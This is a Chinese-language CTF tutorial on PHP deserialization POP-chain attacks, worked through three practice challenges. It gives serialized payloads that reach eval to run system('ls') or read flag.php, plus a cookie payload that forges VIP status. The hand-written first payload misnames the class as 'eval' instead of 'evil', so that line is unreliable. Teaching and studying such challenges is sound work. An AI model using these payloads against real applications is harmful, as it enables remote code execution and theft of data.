五步法带你搞定反序列化难题

这里拿出一道题目进行举例:

highlight_file(__FILE__);
error_reporting(0);
class 
index {
    private 
$test;
    public function 
__construct(){
        
$this->test = new normal();
    }
    public function 
__destruct(){
        
$this->test->action();
    }
}
class 
normal {
    public function 
action(){
        echo 
"please attack me";
    }
}
class 
evil {
    var 
$test2;
    public function 
action(){
        eval(
$this->test2);
    }
}

unserialize($_GET['test']);
?>

拿到任何一道例题:

1..先看哪个对象下面的函数和属性能够帮我执行恶意代码

很明显,是evil对象下面的action方法,通过test2去进行执行

2.我所能控制的是什么?

Test

3.这段代码正常执行时的顺序是什么?

这里首先test先执行了反序列化,反序列化后立刻进行destruct()_魔术方法,

 public function __destruct(){
        
$this->test->action();
    }

接下来执行action函数,接下来完成运行

4.要执行恶意代码,该怎么做?(即为通过我所能控制的东西,如何才能执行恶意代码?)

必须调用evil下面的action()_函数!!!!!!!

实例化对象,必须使得test指向evil对象,test=new evil(),同时构造test2去执行我们所要执行的命令,这里我再讲的详细一点,因为你只要认真观察就能够发现正常情况下evil这个对象是被忽略的,但是执行恶意代码又必须调用evil下面的action()_函数!!!!!!!所以必须test=new evil()

5分析完毕,开始构造pop链:
(1)徒手:(除非你是顶尖大佬)

O:5:"index":1:{s:11:"%00index%00test";O:4:"eval":1:{s:5:"test2";s:13:"system("ls");";};}

(2)修改原代码(建议)

class index {
    private $test;
    public function __construct(){
        $this->test = new evil();#这里不可以直接test=new evil(),必须使用construct赋值

    }
//    public function __destruct(){
//        $this->test->action();
//    }
}#(千万别像我那样最初注释的时候把括号也注释了!!!)
//class normal {
//    public function action(){
//        echo "please attack me";
//    }
//}
class evil {
    var $test2= "system('ls');";

//    public function action(){
//        eval($this->test2);
//    }
}
echo serialize(new index());
?>

修改的时候先注释,再把test=new evil(),最后输出改一下就构造好pop链了

这里再讲解一下,为什么要这样注释,其实经过上面的分析其实就construct魔术方法以及后面的evil这个有用而已,其他的注释就好了。

既然介绍了方法那现在就开始提升刷题!!!学习就是把你掌握的方法不断练习达到极限!、

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip; 
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;    //global  全局变量
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    //会接受一个cookie变量
    if($user->login($username,$password)){    //上面的函数方法
        if($user->checkVip()){                //上面的函数方法
            $user->vipOneKeyGetFlag();        //上面的函数方法
        }
    }else{
        echo "no vip,no flag";
    }
}

还是五部法解决这个问题!

第一步:在哪里可以执行恶意代码?

public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;    //global  全局变量
            echo "your flag is ".$flag;

这个才是你的目的!

第二步:你可以控制啥?

$username=$_GET['username'];
$password=$_GET['password'];

$user = unserialize($_COOKIE['user']);

这是你所要控制输入的!!

第三步:

正常情况下代码怎么运行?(不用搞懂全部,看个大概就好了,不用每个地方都懂!)

在主程序中,首先获取传入的 usernamepassword 参数,并通过 unserialize() 函数从 cookie 中获取名为 user 的对象实例。然后,如果用户名和密码验证成功,将进一步检查该用户是否是 VIP,如果是,则调用 vipOneKeyGetFlag() 方法输出 flag。

第四步:

我该从哪里入手,用我所能够控制的去执行恶意代码?

我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag

第五步:注释修改源代码:

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx'; 
    public $isVip=true;
}
$a=serialize(new ctfShowUser);
echo serialize(new ctfShowUser);

是不是还可以!

接下来运行好代码后得到pop链,注意这个是cookie,把这个pop链编码过后传入cookie,接着直接访问网址+?username=xxxxxx&password=xxxxxx

cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get:
?username=xxxxxx&password=xxxxxx

再来,多练!

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);                 //危险函数eval
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

第一步:先看哪个对象下面的函数和属性能够帮我执行恶意代码

看了一下哪里能够拿到flag。但是没有找到。

在审计的过程中,看到在backdoor类中,看到了eval

第二步:

我能控制啥?

$username=$_GET['username'];
$password=$_GET['password'];

  $user = unserialize($_COOKIE['user']);

第三步:

这串代码正常情况下怎么执行?

先传入username和password,接下来判定user是不是等于unserialize($_COOKIE['user']);

即为:

在主程序中,首先获取传入的 usernamepassword 参数。然后,通过 unserialize() 函数从 cookie 中获取名为 user 的对象实例,并调用该对象的 login() 方法进行用户登录验证。但是,由于 login() 方法只返回验证结果,并没有对结果进行处理,因此没有实际的操作。

第四步:从哪里突破?我该从哪里入手,用我所能够控制的去执行恶意代码?

因为有eval($this->code);危险函数,所以就不需要登录(login) 直接new backDoor这个类,把code变量改了,执行eval(本题关键,分析到这里直接秒了!!新手可能有点困难,但是慢慢来不用担心)

第五步:手搓代码,当然是从原代码注释掉一些,再删改

class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
echo urlencode(serialize(new ctfShowUser));
?>

解释一下啊,因为我所需要的就是backDoor还有最初的construct()——魔术方法,其他都注释,因为我必须要实例化一个对象指向backDoor才能通过我能控制的东西去连接执行恶意代码的函数eval,其实实例化对象就是一座桥梁,本来我正常执行代码是不会触发恶意代码输出flag的,所以我必须实例化对象使得我所能控制的东西指向它,有了这座桥梁,我才能接着控制我所执行的恶意代码!!!这是本题的重点

  $this->class=new backDoor();这个才是点睛之笔

直接new backDoor这个类,把code变量改了,执行eval

结果:

cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

get:
?username=xxxxxx&password=xxxxxx

提笔至此,大家在看了上面的方法和例题后应该遇见反序列化题目应该都至少会有思路,不至于动不了,但是好的方法需要多多练习,仅仅靠上面的两题是不够的,我对题目的见解也只是抛砖引玉,真诚希望大家能够在我的方法中学到所需要的,谢谢大家看到这里,有缘江湖相见!

你可能感兴趣的:(CTF,安全,PHP反序列化,信息安全,web)